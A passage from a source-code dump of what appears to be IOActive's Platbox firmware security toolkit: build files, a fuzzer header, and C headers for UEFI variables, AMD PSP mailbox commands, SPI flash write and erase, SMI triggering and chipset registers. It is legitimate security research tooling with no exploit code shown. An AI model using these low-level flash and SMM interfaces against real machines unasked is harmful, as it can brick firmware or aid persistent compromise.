set(CMAKE_CXX_FLAGS_RELEASE "${CMAKE_CXX_FLAGS_RELEASE} /MT") 84 | set(CMAKE_CXX_FLAGS_DEBUG "${CMAKE_CXX_FLAGS_DEBUG} /MTd") 85 | 86 | 87 | add_subdirectory (DeltaFuzz) 88 | 89 | 90 | set_target_properties(DeltaFuzzLib PROPERTIES LINKER_LANGUAGE CXX) 91 | 92 | # static lib 93 | add_library(platbox_lib STATIC "${PROJECT_SOURCES}") 94 | 95 | # link lib 96 | target_link_libraries (platbox_lib DeltaFuzzLib) 97 | -------------------------------------------------------------------------------- /PlatboxLib/DeltaFuzz/CMakeLists.txt: -------------------------------------------------------------------------------- 1 | cmake_minimum_required(VERSION 3.13) 2 | 3 | # Maps to Visual Studio solution file (Tutorial.sln) 4 | # The solution will have all targets (exe, lib, dll) 5 | # as Visual Studio projects (.vcproj) 6 | project (DeltaFuzzLib) 7 | 8 | 9 | # static lib 10 | add_library(DeltaFuzzLib STATIC "DeltaFuzz.c") 11 | 12 | -------------------------------------------------------------------------------- /PlatboxLib/DeltaFuzz/DeltaFuzz.h: -------------------------------------------------------------------------------- 1 | #pragma once 2 | #ifndef __DeltaFuzz_h__ 3 | #define __DeltaFuzz_h__ 4 | 5 | #include 6 | #include 7 | #include 8 | #include 9 | 10 | #ifdef _WIN32 11 | #include 12 | #endif 13 | 14 | /* Definitions */ 15 | 16 | #define DEFAULT_FUZZ_POSSIBILITY 100 17 | #define DEFAULT_UNMAP_POSSIBILITY 0 18 | 19 | #define TRUE 1 20 | #define FALSE 0 21 | 22 | /* Structures and Variables */ 23 | 24 | typedef struct _FUZZER_OBJECT { 25 | uint64_t Seed; 26 | double FuzzPossibility; 27 | double UnmapPossibility; 28 | uint64_t Iterations; 29 | int FuzzGenerate; 30 | int FuzzMutate; 31 | int(*get_random)(void *fuzzer); 32 | void(*fuzz_blob)(void *fuzzer, unsigned char *blob, unsigned int size); 33 | unsigned int(*get_fuzzy_len)(void *fuzzer, unsigned int max); 34 | int (*gen_int)(void *fuzzer, unsigned long long *qp); 35 | } FUZZER_OBJECT, *PFUZZER_OBJECT; 36 | 37 | 38 | int wrapper_rand(FUZZER_OBJECT *fuzzer); 39 | void _swapValues_UINT(unsigned int *a, unsigned int *b); 40 | void _mutateNullRange(FUZZER_OBJECT *fuzzer, unsigned char *blob, unsigned int start, unsigned int end); 41 | void _mutateRangeSpecial(FUZZER_OBJECT *fuzzer, unsigned char *blob, unsigned int start, unsigned int end); 42 | void _mutateUnNullRange(FUZZER_OBJECT *fuzzer, unsigned char *blob, unsigned int start, unsigned int end); 43 | void _mutateRangeRandom(FUZZER_OBJECT *fuzzer, unsigned char *blob, unsigned int start, unsigned int end); 44 | void _mutateBitFlipping(FUZZER_OBJECT *fuzzer, unsigned char *blob, unsigned int start, unsigned int end); 45 | void _singleBitFlipping(FUZZER_OBJECT *fuzzer, unsigned char *blob, unsigned int start, unsigned int end); 46 | unsigned int _getRandomRange(FUZZER_OBJECT *fuzzer, unsigned int min, unsigned int max); 47 | 48 | void CreateFuzzerObject(FUZZER_OBJECT **fuzzer, uint64_t seed, int FuzzGenerate, int FuzzMutate); 49 | void DestroyFuzzerObject(FUZZER_OBJECT *fuzzer); 50 | 51 | void FuzzBlob(FUZZER_OBJECT *fuzzer, unsigned char *blob, unsigned int size); 52 | unsigned int get_fuzzy_len(FUZZER_OBJECT *fuzzer, unsigned int max); 53 | int genInt(FUZZER_OBJECT *fuzzer, unsigned long long *qp); 54 | unsigned int getOffset(FUZZER_OBJECT *fuzzer, unsigned int size, unsigned int SpaceNeeded, int *error); 55 | unsigned char getCharDelta(FUZZER_OBJECT *fuzzer); 56 | unsigned short getWordDelta(FUZZER_OBJECT *fuzzer); 57 | unsigned int getDwordDelta(FUZZER_OBJECT *fuzzer); 58 | unsigned long long getQwordDelta(FUZZER_OBJECT *fuzzer); 59 | unsigned char mutateBit(FUZZER_OBJECT *fuzzer, unsigned char b); 60 | unsigned char mutateBit(FUZZER_OBJECT *fuzzer, unsigned char b); 61 | unsigned short mutateWord(FUZZER_OBJECT *fuzzer, unsigned short w); 62 | unsigned int mutateDword(FUZZER_OBJECT *fuzzer, unsigned int dw); 63 | unsigned long long mutateQword(FUZZER_OBJECT *fuzzer, unsigned long long qw); 64 | 65 | int _shouldFuzz(FUZZER_OBJECT *fuzzer); 66 | 67 | #endif 68 | 69 | 70 | 71 | -------------------------------------------------------------------------------- /PlatboxLib/DeltaFuzz/DeltaFuzzLib.lib: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/IOActive/Platbox/14772199311383eace0dba1b80f21b15675e8908/PlatboxLib/DeltaFuzz/DeltaFuzzLib.lib -------------------------------------------------------------------------------- /PlatboxLib/DeltaFuzz/README.md: -------------------------------------------------------------------------------- 1 | ### Steps to compile 2 | 3 | ``` 4 | mkdir build 5 | cd build 6 | cmake -G "Visual Studio 17 2022" -A x64 -S .. -B "build64" 7 | cmake --build . --target DeltaFuzz 8 | ``` -------------------------------------------------------------------------------- /PlatboxLib/README.md: -------------------------------------------------------------------------------- 1 | ## PlatboxLib 2 | 3 | This is the usermode component that interacts with the driver and the system to retrieve information and modify settings. 4 | 5 | Exports several modules: 6 | 7 | - PCIe access 8 | - MSRs 9 | - Virtual memory 10 | - Physical memory 11 | - Silicon locks 12 | - Processor capabilities 13 | - SMM configuration 14 | - SMI invocation 15 | - SMI fuzzer -------------------------------------------------------------------------------- /PlatboxLib/inc/UEFIVars.h: -------------------------------------------------------------------------------- 1 | // Written by Enrique Nissim (IOActive) 06/2018 2 | 3 | #pragma once 4 | #include 5 | #include "types.h" 6 | 7 | 8 | 9 | #ifdef _WIN32 10 | 11 | typedef struct _XUNICODE_STRING { 12 | USHORT Length; 13 | USHORT MaximumLength; 14 | PWSTR Buffer; 15 | } XUNICODE_STRING, *PXUNICODE_STRING; 16 | 17 | 18 | #define VARIABLE_INFORMATION_NAMES 1 19 | #define VARIABLE_INFORMATION_VALUES 2 20 | 21 | typedef struct _VARIABLE_NAME { 22 | ULONG NextEntryOffset; 23 | GUID VendorGuid; 24 | WCHAR Name[ANYSIZE_ARRAY]; 25 | } VARIABLE_NAME, *PVARIABLE_NAME; 26 | 27 | typedef struct _VARIABLE_NAME_AND_VALUE { 28 | ULONG NextEntryOffset; 29 | ULONG ValueOffset; 30 | ULONG ValueLength; 31 | ULONG Attributes; 32 | GUID VendorGuid; 33 | WCHAR Name[ANYSIZE_ARRAY]; 34 | //UCHAR Value[ANYSIZE_ARRAY]; 35 | } VARIABLE_NAME_AND_VALUE, *PVARIABLE_NAME_AND_VALUE; 36 | 37 | 38 | typedef NTSTATUS(NTAPI * _NtQuerySystemEnvironmentValue)(__in PXUNICODE_STRING VariableName, __out_bcount(ValueLength) PWSTR VariableValue, __in USHORT ValueLength, __out_opt PUSHORT ReturnLength); 39 | typedef NTSTATUS(NTAPI * _NtSetSystemEnvironmentValue)(__in PXUNICODE_STRING VariableName, __in PXUNICODE_STRING VariableValue); 40 | typedef NTSTATUS(NTAPI * _NtQuerySystemEnvironmentValueEx)(__in PXUNICODE_STRING VariableName, __in LPGUID VendorGuid, __out_bcount_opt(*ValueLength) PVOID Value, __inout PULONG ValueLength, __out_opt PULONG Attributes); 41 | typedef NTSTATUS(NTAPI * _NtSetSystemEnvironmentValueEx)(__in PXUNICODE_STRING VariableName, __in LPGUID VendorGuid, __in_bcount_opt(ValueLength) PVOID Value, __in ULONG ValueLength, __in ULONG Attributes); 42 | typedef NTSTATUS(NTAPI * _NtEnumerateSystemEnvironmentValuesEx)(__in ULONG InformationClass, __out PVOID Buffer, __inout PULONG BufferLength); 43 | 44 | extern _NtEnumerateSystemEnvironmentValuesEx NtEnumerateSystemEnvironmentValuesEx; 45 | 46 | 47 | #define EFI_VARIABLE_NON_VOLATILE 1 48 | #define EFI_VARIABLE_BOOTSERVICE_ACCESS 2 49 | #define EFI_VARIABLE_RUNTIME_ACCESS 4 50 | #define EFI_VARIABLE_HARDWARE_ERROR_RECORD 8 51 | #define EFI_VARIABLE_AUTHENTICATED_WRITE_ACCESS 0x10 52 | #define EFI_VARIABLE_TIME_BASED_AUTHENTICATED_WRITE_ACCESS 0x20 53 | #define EFI_VARIABLE_APPEND_WRITE 0x40 54 | 55 | 56 | /* UEFI Vars */ 57 | void list_uefi_variables(); 58 | 59 | 60 | 61 | #endif -------------------------------------------------------------------------------- /PlatboxLib/inc/Util.h: -------------------------------------------------------------------------------- 1 | #pragma once 2 | #include 3 | #include 4 | #include 5 | #include 6 | 7 | #include "global.h" // switch for types.h? 8 | 9 | #define __ALIGN_MASK(x, mask) (((x) + (mask)) & ~(mask)) 10 | #define ALIGN(x, a) __ALIGN_MASK((x), ((a) - 1)) 11 | 12 | 13 | #ifdef _WIN32 14 | #include "__win.h" 15 | #endif 16 | 17 | #ifndef BIT0 18 | #define BIT0 0x0001 19 | #define BIT1 0x0002 20 | #define BIT2 0x0004 21 | #define BIT3 0x0008 22 | #define BIT4 0x0010 23 | #define BIT5 0x0020 24 | #define BIT6 0x0040 25 | #define BIT7 0x0080 26 | #define BIT8 0x0100 27 | #define BIT9 0x0200 28 | #define BIT10 0x0400 29 | #define BIT11 0x0800 30 | #define BIT12 0x1000 31 | #define BIT13 0x2000 32 | #define BIT14 0x4000 33 | #define BIT15 0x8000 34 | #define BIT16 0x00010000 35 | #define BIT17 0x00020000 36 | #define BIT18 0x00040000 37 | #define BIT19 0x00080000 38 | #define BIT20 0x00100000 39 | #define BIT21 0x00200000 40 | #define BIT22 0x00400000 41 | #define BIT23 0x00800000 42 | #define BIT24 0x01000000 43 | #define BIT25 0x02000000 44 | #define BIT26 0x04000000 45 | #define BIT27 0x08000000 46 | #define BIT28 0x10000000 47 | #define BIT29 0x20000000 48 | #define BIT30 0x40000000 49 | #define BIT31 0x80000000 50 | #endif 51 | 52 | 53 | /* Utils */ 54 | void memcpy4(void *dst, void *src, size_t size); 55 | void print_memory(unsigned long address, char *buffer, unsigned int bytes_to_print); 56 | void get_user_input(char *input, int size); 57 | char **parse_arguments(char *command_line, char arg_delim); 58 | void hexstring_to_opcodes(char *hexstring, unsigned char **pOpcodes, unsigned int *size); 59 | unsigned int u32_swap(unsigned int x); 60 | 61 | #ifdef _WIN32 62 | void * memmem (const void *haystack, size_t haystack_len, const void *needle, size_t needle_len); 63 | #endif 64 | 65 | void display_guid(GUID *guid); 66 | 67 | void to_guid(const char *guid_str, GUID *guid_arg); 68 | 69 | -------------------------------------------------------------------------------- /PlatboxLib/inc/_io.h: -------------------------------------------------------------------------------- 1 | #pragma once 2 | #include "global.h" 3 | #include "types.h" 4 | 5 | #define IO_SIZE_BYTE 0 6 | #define IO_SIZE_WORD 1 7 | #define IO_SIZE_DWORD 2 8 | 9 | /* IO port operations */ 10 | UINT8 io_inb(UINT16 port); 11 | UINT16 io_inw(UINT16 port); 12 | UINT32 io_ind(UINT16 port); 13 | 14 | void io_outb(UINT16 port, UINT8 val); 15 | void io_outw(UINT16 port, UINT16 val); 16 | void io_outd(UINT16 port, UINT32 val); 17 | 18 | 19 | /// These functions receive a CMD and DATA IO Port Pair 20 | /// indexes into the CMD and either 21 | /// retrieves the result from DATA or Writes the value to DATA 22 | 23 | UINT8 io_index_byte_read_byte( 24 | UINT16 cmd_port, 25 | UINT16 data_port, 26 | UINT8 idx 27 | ); 28 | 29 | UINT8 io_index_word_read_byte( 30 | UINT16 cmd_port, 31 | UINT16 data_port, 32 | UINT16 idx 33 | ); 34 | 35 | UINT16 io_index_byte_read_word( 36 | UINT16 cmd_port, 37 | UINT16 data_port, 38 | UINT8 idx 39 | ); 40 | 41 | UINT16 io_index_word_read_word( 42 | UINT16 cmd_port, 43 | UINT16 data_port, 44 | UINT16 idx 45 | ); 46 | 47 | 48 | 49 | void io_index_byte_write_byte( 50 | UINT16 cmd_port, 51 | UINT16 data_port, 52 | UINT8 idx, 53 | UINT8 data 54 | ); 55 | 56 | void io_index_word_write_byte( 57 | UINT16 cmd_port, 58 | UINT16 data_port, 59 | UINT16 idx, 60 | UINT8 data 61 | ); 62 | 63 | void io_index_byte_write_word( 64 | UINT16 cmd_port, 65 | UINT16 data_port, 66 | UINT8 idx, 67 | UINT16 data 68 | ); 69 | 70 | void io_index_word_write_word( 71 | UINT16 cmd_port, 72 | UINT16 data_port, 73 | UINT16 idx, 74 | UINT16 data 75 | ); 76 | /////////////////////// -------------------------------------------------------------------------------- /PlatboxLib/inc/amd/amd_acpi.h: -------------------------------------------------------------------------------- 1 | #pragma once 2 | #include "types.h" 3 | 4 | extern UINT64 gAcpiMMIOAddr; 5 | 6 | #define IO_PM_INDEX 0xCD6 7 | #define IO_PM_DATA 0xCD7 8 | 9 | #define AMD_ACPI_MMIO_BASE 0xfed80000 10 | 11 | #define ACPI_OFFSET_SM_PCI 0 12 | #define ACPI_OFFSET_GPIO 0x100 13 | #define ACPI_OFFSET_SMI 0x200 14 | #define ACPI_OFFSET_PMIO 0x300 15 | #define ACPI_OFFSET_PMIO2 0x400 16 | #define ACPI_OFFSET_BIOS_RAM 0x500 17 | #define ACPI_OFFSET_CMOS_RAM 0x600 18 | #define ACPI_OFFSET_CMOS 0x700 19 | #define ACPI_OFFSET_ACPI 0x800 20 | #define ACPI_OFFSET_ASF 0x900 21 | #define ACPI_OFFSET_SMBUS 0xA00 22 | #define ACPI_OFFSET_WATCHDOG 0xB00 23 | #define ACPI_OFFSET_HPET 0xC00 24 | #define ACPI_OFFSET_IOMUX 0xD00 25 | #define ACPI_OFFSET_MISC 0xE00 26 | 27 | #define ACPI_PMIO_SMI_CMD ACPI_OFFSET_PMIO + 0x6a 28 | 29 | UINT16 get_amd_smi_trigger_port(); 30 | void get_amd_smi_trigger_port_iopm(); 31 | 32 | -------------------------------------------------------------------------------- /PlatboxLib/inc/amd/amd_psp.h: -------------------------------------------------------------------------------- 1 | #include "global.h" 2 | 3 | // 4 | // A lot from there was taken from Coreboot project 5 | // 6 | 7 | #define PSP_CMDRESP_RESP BIT(31) 8 | #define PSP_CMDRESP_ERR_MASK 0xffff 9 | 10 | #define MAX_PSP_NAME_LEN 16 11 | 12 | 13 | // Taken from linux kernel 14 | 15 | #define PSP_CAPABILITY_SEV BIT(0) 16 | #define PSP_CAPABILITY_TEE BIT(1) 17 | #define PSP_CAPABILITY_PSP_SECURITY_REPORTING BIT(7) 18 | 19 | #define PSP_CAPABILITY_PSP_SECURITY_OFFSET 8 20 | /* 21 | * The PSP doesn't directly store these bits in the capability register 22 | * but instead copies them from the results of query command. 23 | * Q 24 | * The offsets from the query command are below, and shifted when used. 25 | */ 26 | #define PSP_SECURITY_FUSED_PART 0 27 | #define PSP_SECURITY_DEBUG_LOCK_ON 2 28 | #define PSP_SECURITY_TSME_STATUS 5 29 | #define PSP_SECURITY_ANTI_ROLLBACK_STATUS 7 30 | #define PSP_SECURITY_RPMC_PRODUCTION_ENABLED 8 31 | #define PSP_SECURITY_RPMC_SPIROM_AVAILABLE 9 32 | #define PSP_SECURITY_HSP_TPM_AVAILABLE 10 33 | #define PSP_SECURITY_ROM_ARMOR_ENFORCED 11 34 | 35 | 36 | #define MSR_AMD_PSP_ADDR 0xc00110a2 37 | #define PSP_MAILBOX_COMMAND_OFFSET 0x10570 /* 4 bytes */ 38 | #define PSP_MAILBOX_BUFFER_L_OFFSET 0x10574 /* 4 bytes */ 39 | #define PSP_MAILBOX_BUFFER_H_OFFSET 0x10578 /* 4 bytes */ 40 | 41 | 42 | #define PSP_MAILBOX_FEATURE_REG 0x109FC 43 | #define PSP_MAILBOX_INTEN_REG 0x10690 44 | #define PSP_MAILBOX_INTSTS_REG 0x10694 45 | 46 | 47 | #define SMU_INDEX_ADDR 0xb8 /* 32 bit */ 48 | #define SMU_DATA_ADDR 0xbc /* 32 bit */ 49 | 50 | UINT32 smu_read32(UINT32 reg); 51 | void smu_write32(UINT32 reg, UINT32 val); 52 | 53 | #pragma pack (push, 1) 54 | union pspv2_mbox_command { 55 | UINT32 val; 56 | struct pspv2_mbox_cmd_fields { 57 | UINT16 status; 58 | UINT32 command; 59 | UINT32 reserved:6; 60 | UINT32 recovery:1; 61 | UINT32 ready:1; 62 | } _mbox_fields; 63 | }; 64 | 65 | #pragma pack (pop) 66 | 67 | 68 | #define SMU_PSP_PUBLIC_BASE 0x3800000 69 | 70 | UINT32 read_psp_feature_reg(); 71 | UINT64 get_psp_mbox_addr(); 72 | UINT32 read_psp_mbox_cmd_status(); 73 | void set_psp_mbox_cmd_status(UINT32 status); 74 | UINT64 read_psp_mbox_buffer_address(); 75 | void set_psp_mbox_buffer_address(UINT64 address); 76 | void send_psp_msg(BYTE psp_cmd, UINT64 buffer_physaddr); 77 | 78 | #define PSP_MAILBOX_ADDR 0xFDE00000 + PSP_MAILBOX_COMMAND_OFFSET 79 | #define PSP_MAILBOX_PAGE (PSP_MAILBOX_ADDR & 0xFFFFF000) 80 | #define PSP_MAILBOX_OFFSET (PSP_MAILBOX_ADDR & 0x00000FFF) 81 | 82 | #define BUFFER_ADDR 0x1000 83 | 84 | #define PSP_CMD_GET_CAPABILITIES 0x27 85 | #define PSP_CMD_GET_HSTI_STATE 0x14 86 | 87 | #define PSP_CMD_ARMOR_SPI_TRANSACTION 0x51 88 | 89 | #define PSP_CMD_ARMOR_SPI_TRANSACTION_READ_OP 0x01 90 | #define PSP_CMD_ARMOR_SPI_TRANSACTION_WRITE_OP 0x02 91 | #define PSP_CMD_ARMOR_SPI_TRANSACTION_ERASE_OP 0x03 92 | 93 | 94 | #pragma pack (push, 1) 95 | typedef struct _ArmorSpiTransactionRecord { // 0x20 96 | /* 0x00 */ UINT32 record_size; 97 | /* 0x04 */ UINT32 unused; 98 | /* 0x08 */ UINT32 trn_type; // 2 Write | 3 Erase 99 | /* 0x0C */ UINT64 aux_memory_page; 100 | /* 0x14 */ UINT32 flash_address; 101 | /* 0x18 */ UINT32 trn_length; // For erase must be 0x1000 102 | /* 0x1C */ UINT32 unused2; 103 | } ArmorSpiTransactionRecord; 104 | #pragma pack (pop) 105 | 106 | void armor_spi_transaction(); 107 | 108 | 109 | 110 | #define PSP_MAILBOX_PSB_STATUS_OFFSET 0x10994 111 | #define PSP_MAILBOX_CONFIG2_OFFSET 0x10998 112 | 113 | 114 | /* PSB Test Status and Error Codes (doc#56654) */ 115 | #define PSB_TEST_STATUS_PASS 0x00 116 | #define PSB_TEST_STATUS_FUSE_READ_ERR 0x3e 117 | #define PSB_TEST_STATUS_BIOS_KEY_BAD_USAGE 0x81 118 | #define PSB_TEST_STATUS_BIOS_RTM_SIG_NOENT 0x82 119 | #define PSB_TEST_STATUS_BIOS_RTM_COPY_ERR 0x83 120 | #define PSB_TEST_STATUS_BIOS_RTM_BAD_SIG 0x84 121 | #define PSB_TEST_STATUS_BIOS_KEY_BAD_SIG 0x85 122 | #define PSB_TEST_STATUS_PLATFORM_BAD_ID 0x86 123 | #define PSB_TEST_STATUS_BIOS_COPY_BIT_UNSET 0x87 124 | #define PSB_TEST_STATUS_BIOS_CA_BAD_SIG 0x8a 125 | #define PSB_TEST_STATUS_BIOS_CA_BAD_USAGE 0x8b 126 | #define PSB_TEST_STATUS_BIOS_KEY_BAD_REVISION 0x8c 127 | 128 | #define PSB_TEST_STATUS_MASK 0xFF 129 | 130 | 131 | 132 | 133 | 134 | 135 | 136 | struct PspPsbStatus { 137 | UINT32 platformVendorId: 8; 138 | UINT32 platformModelId: 4; 139 | UINT32 biosKeyRevisionId: 4; 140 | UINT32 rootKeySelect: 4; 141 | UINT32 unknown: 4; 142 | UINT32 platformSecureBootEnable: 1; 143 | UINT32 disableBiosKeyAntiRollback: 1; 144 | UINT32 disableAmdKeyUsage: 1; 145 | UINT32 disableSecureDebugUnlock: 1; 146 | UINT32 customerKeyUnlock: 1; 147 | UINT32 unkown2: 4; 148 | }; 149 | 150 | UINT32 read_psp_psb_status(); 151 | UINT32 read_psp_mbox_config2(); 152 | UINT32 get_psp_hsti_state(); 153 | 154 | 155 | void print_psp_security_configuration(); -------------------------------------------------------------------------------- /PlatboxLib/inc/amd/amd_spi.h: -------------------------------------------------------------------------------- 1 | 2 | #pragma once 3 | #include "types.h" 4 | 5 | typedef struct _ALT_SPI_CS { 6 | BYTE AltSpiCsEn : 2; 7 | BYTE WriteBufferEn : 1; 8 | BYTE SpiProtectEn0 : 1; 9 | BYTE SpiProtectEn1 : 1; 10 | BYTE SpiProtectLock : 1; 11 | BYTE lock_spi_cs : 1; // New 2022 12 | BYTE SpiCsDlySel : 1; 13 | } ALT_SPI_CS; 14 | 15 | #define SPI_INDEX_MODE_READ_BLOCK_BITS 6 16 | #define SPI_INDEX_MODE_READ_BLOCK_SIZE 64 17 | #define SPI_INDEX_MODE_READ_BLOCK_MASK 0x3F 18 | #define SPI_INDEX_MODE_WRITE_BLOCK_FIFO 64 19 | 20 | #define SPI_INDEX_MODE_WRITE_BLOCK_4K 0x1000 21 | #define SPI_INDEX_MODE_WRITE_BLOCK_BITS 12 22 | #define SPI_INDEX_MODE_WRITE_BLOCK_MASK 0xFFF 23 | 24 | typedef struct _SPI { 25 | // 0x00 26 | union { 27 | DWORD SPI_Cntrl0Value; 28 | struct { 29 | BYTE SpiOpCode; 30 | BYTE Rsvd0; 31 | BYTE ExecuteOpcode: 1; 32 | BYTE Rsvd1: 1; 33 | BYTE SpiReadMode_0: 1; 34 | BYTE SpiArbEnable: 1; 35 | BYTE FifoPtrClr: 1; 36 | BYTE IllegalAccess: 1; 37 | BYTE SpiAccessMacRomEn: 1; 38 | BYTE SpiHostAccessMacRomEn: 1; 39 | BYTE ArbWaitCount: 3; 40 | BYTE Rsvd2: 1; 41 | BYTE SpiClkGate: 1; 42 | BYTE SpiReadMode_1: 2; 43 | BYTE SpiBusy: 1; 44 | } SPI_Cntrl0 ; 45 | }; 46 | 47 | // 0x04 48 | DWORD SPI_RestrictedCmd; 49 | 50 | // 0x08 51 | DWORD SPI_RestrictedCmd2; 52 | 53 | // 0x0C 54 | union { 55 | DWORD SPI_Cntrl1Value; 56 | struct { 57 | BYTE SpiParamters; 58 | BYTE FifoPtr: 3; 59 | BYTE TrackMacLockEn: 1; 60 | BYTE Rsvd: 4; 61 | BYTE WaitCount: 6; 62 | BYTE Rsvd2: 2; 63 | BYTE ByteCommand; 64 | } SPI_Cntrl1; 65 | }; 66 | 67 | 68 | // 0x10 69 | DWORD SPI_CmdValue0; 70 | 71 | // 0x14 72 | DWORD SPI_CmdValue1; 73 | 74 | // 0x18 75 | DWORD SPI_CmdValue2; 76 | 77 | // 0x1C 78 | BYTE Reserved0; 79 | 80 | // 0x1D 81 | BYTE Alt_SPI_CS; 82 | 83 | // 0x1E 84 | BYTE SpiExtRegIndx; 85 | 86 | // 0x1F; confusing definition in spec 87 | BYTE SpiExtRegData; 88 | 89 | // 0x20 90 | BYTE SPI100Enable; 91 | BYTE Unk; 92 | 93 | // 0x22 94 | WORD SPI100SpeedConfig; 95 | 96 | // 0x24 97 | DWORD Reserved1; 98 | // 0x28 99 | DWORD Reserved2; 100 | 101 | // 0x2C 102 | WORD SPI100HostPrefetchCfg; 103 | 104 | // 0x2E 105 | WORD Reserved3; 106 | 107 | // 0x30 108 | DWORD Reserved4[4]; 109 | 110 | // 0x40 111 | BYTE DDRCmdCode; 112 | // 0x41 113 | BYTE QDRCmdCode; 114 | // 0x42 115 | BYTE DPRCmdCode; 116 | // 0x43 117 | BYTE QPRCmdCode; 118 | // 0x44 119 | BYTE ModeByte; 120 | // 0x45 121 | BYTE CmdCode; 122 | // 0x46 123 | BYTE Reserved5; 124 | // 0x47 125 | BYTE CmdTrig; 126 | // 0x48 127 | BYTE TxByteCnt; 128 | // 0x49 - 0x4A 129 | BYTE Reserved6[2]; 130 | // 0x4B 131 | BYTE RxByteCnt; 132 | // 0x4C 133 | union { 134 | DWORD SpiStatusValue; 135 | struct { 136 | BYTE DoneByCount; 137 | BYTE FifoWrPtr: 7; 138 | BYTE Rsvd0: 1; 139 | BYTE FifoRdPtr: 7; 140 | BYTE Rsvd1: 1; 141 | BYTE Rsvd2: 7; 142 | BYTE SpiBusy: 1; 143 | } SpiStatus; 144 | }; 145 | 146 | 147 | // 0x50 148 | DWORD fla_addr; 149 | BYTE Reserved7[0x2C]; 150 | 151 | // 0x80 152 | union { 153 | struct { 154 | BYTE SPI_regx80; 155 | BYTE SPI_regx81; 156 | BYTE SPI_regx82; 157 | BYTE FIFO[SPI_INDEX_MODE_READ_BLOCK_SIZE]; // Actually is 67 158 | } mode24; 159 | struct { 160 | BYTE SPI_regx80; 161 | BYTE SPI_regx81; 162 | BYTE SPI_regx82; 163 | BYTE SPI_regx83; 164 | BYTE FIFO[SPI_INDEX_MODE_READ_BLOCK_SIZE]; // Actually is 66 165 | } mode32; 166 | }; 167 | 168 | // XXX To be extended if necessary 169 | 170 | } SPI; 171 | 172 | typedef struct _SPIRestrictedCmd { 173 | DWORD RestrictedCmd0 : 8; 174 | DWORD RestrictedCmd1 : 8; 175 | DWORD RestrictedCmd2 : 8; 176 | DWORD RestrictedCmd3 : 8; 177 | } SPIRestrictedCmd; 178 | 179 | typedef struct _SPIRestrictedCmd2 { 180 | DWORD RestrictedCmd4 : 8; 181 | DWORD RestrictedCmdWoAddr0 : 8; 182 | DWORD RestrictedCmdWoAddr1 : 8; 183 | DWORD RestrictedCmdWoAddr2 : 8; 184 | } SPIRestrictedCmd2; 185 | 186 | 187 | extern UINT32 AMD_FLASH_SIZE; 188 | extern UINT64 AMD_FLASH_BASE; 189 | 190 | #define AMD_DEFAULT_NEW_SPI_ADDR 0xFEC11000 191 | #define AMD_DEFAULT_NEW_MAPPED_FLASH_ADDRESS 0xFD00000000 192 | #define AMD_DEFAULT_OLD_MAPPED_FLASH_ADDRESS 0xFF000000 193 | 194 | 195 | 196 | void load_spi_information(DWORD spi_addr, bool new_chipset); 197 | void print_flash_info(); 198 | void print_spi_ctnl_info(); 199 | 200 | // SPI Controller operations 201 | void amd_spi_clear_fifo_ptr(volatile SPI *spi_base); 202 | void amd_spi_execute_command(volatile SPI *spi_base); 203 | void amd_spi_write_enable(volatile SPI *spi_base); 204 | void amd_spi_print_fifo_stats(volatile SPI *spi_base); 205 | DWORD amd_spi_read_id(); 206 | 207 | void amd_spi_erase_4k_block(volatile SPI *spi_base_arg, UINT32 address); 208 | 209 | void read_from_flash_index_mode(volatile SPI *spi_base_arg, UINT32 start_offset, UINT32 length, BYTE *out_buff); 210 | void amd_dump_spi_flash_index_mode(const char *output_filename); 211 | 212 | void write_4k_block(volatile SPI *spi_base, UINT32 addr, BYTE *block); 213 | void amd_spi_write_buffer(volatile SPI *spi_base_arg, UINT32 flash_address, BYTE *in_buff, UINT32 length); 214 | 215 | // Exposed to other modules 216 | extern DWORD g_spi_addr; 217 | extern SPI g_spi_registers; 218 | 219 | 220 | #define Winbond_25Q128JVS 0xEF6018 221 | #define Winbond_W25Q64FW 0xef6019 222 | #define Winbond_25Q128JVS_SECTOR_ERASE_OP 0x20 -------------------------------------------------------------------------------- /PlatboxLib/inc/common_chipset.h: -------------------------------------------------------------------------------- 1 | #pragma once 2 | #include "types.h" 3 | #include "intel_chipset.h" 4 | #include "amd_chipset.h" 5 | 6 | #ifndef signature_INTEL_ebx 7 | #define signature_INTEL_ebx 0x756e6547 8 | #endif 9 | #ifndef signature_INTEL_edx 10 | #define signature_INTEL_edx 0x49656e69 11 | #endif 12 | #ifndef signature_INTEL_ecx 13 | #define signature_INTEL_ecx 0x6c65746e 14 | #endif 15 | #ifndef signature_AMD_ebx 16 | #define signature_AMD_ebx 0x68747541 17 | #endif 18 | #ifndef signature_AMD_edx 19 | #define signature_AMD_edx 0x69746e65 20 | #endif 21 | #ifndef signature_AMD_ecx 22 | #define signature_AMD_ecx 0x444d4163 23 | #endif 24 | 25 | enum _PROCESSOR_TYPE { 26 | _INTEL_PROCESSOR = 0, 27 | _AMD_PROCESSOR = 1, 28 | _UNKNOWN_UNSUPPORTED_ARCH = 2 29 | }; 30 | 31 | int get_processor_type(); 32 | 33 | void get_chipset_information(); 34 | void dump_spi_flash(const char *output_filename); 35 | 36 | void get_tseg_region(UINT64 *base, UINT32 *size); 37 | 38 | UINT16 get_smi_trigger_port(); 39 | int get_number_of_cores(); 40 | 41 | int is_5_level_paging(); -------------------------------------------------------------------------------- /PlatboxLib/inc/intel/intel_chipset.h: -------------------------------------------------------------------------------- 1 | #pragma once 2 | #include 3 | #include "types.h" 4 | 5 | #define INTEL_SMI_TRIGGER_PORT 0xB2 6 | 7 | #define SPI_BIOS_MMIO_BIOS_BFPREG_OFFSET 0 8 | #define SPI_BIOS_MMIO_BIOS_HSFSTS_CTL 4 9 | #define SPI_BIOS_MMIO_BIOS_FADDR 8 10 | #define SPI_BIOS_MMIO_BIOS_DLOCK 0xC 11 | #define SPI_BIOS_MMIO_BIOS_FREG0 0x54 12 | #define SPI_BIOS_MMIO_BIOS_FREG1 0x58 13 | #define SPI_BIOS_MMIO_BIOS_FREG2 0x5C 14 | #define SPI_BIOS_MMIO_BIOS_FREG3 0x60 15 | #define SPI_BIOS_MMIO_BIOS_FREG4 0x64 16 | #define SPI_BIOS_MMIO_BIOS_FREG5 0x68 17 | #define SPI_BIOS_MMIO_BIOS_FPR0 0x84 18 | #define SPI_BIOS_MMIO_BIOS_FPR1 0x88 19 | #define SPI_BIOS_MMIO_BIOS_FPR2 0x8C 20 | #define SPI_BIOS_MMIO_BIOS_FPR3 0x90 21 | #define SPI_BIOS_MMIO_BIOS_FPR4 0x94 22 | 23 | 24 | // Hostbridge operations 25 | void read_hostbridge_pxpepbar(DWORD64 *pPxpepbar); 26 | void read_hostbridge_mchbar(DWORD64 *pMchbar); 27 | void 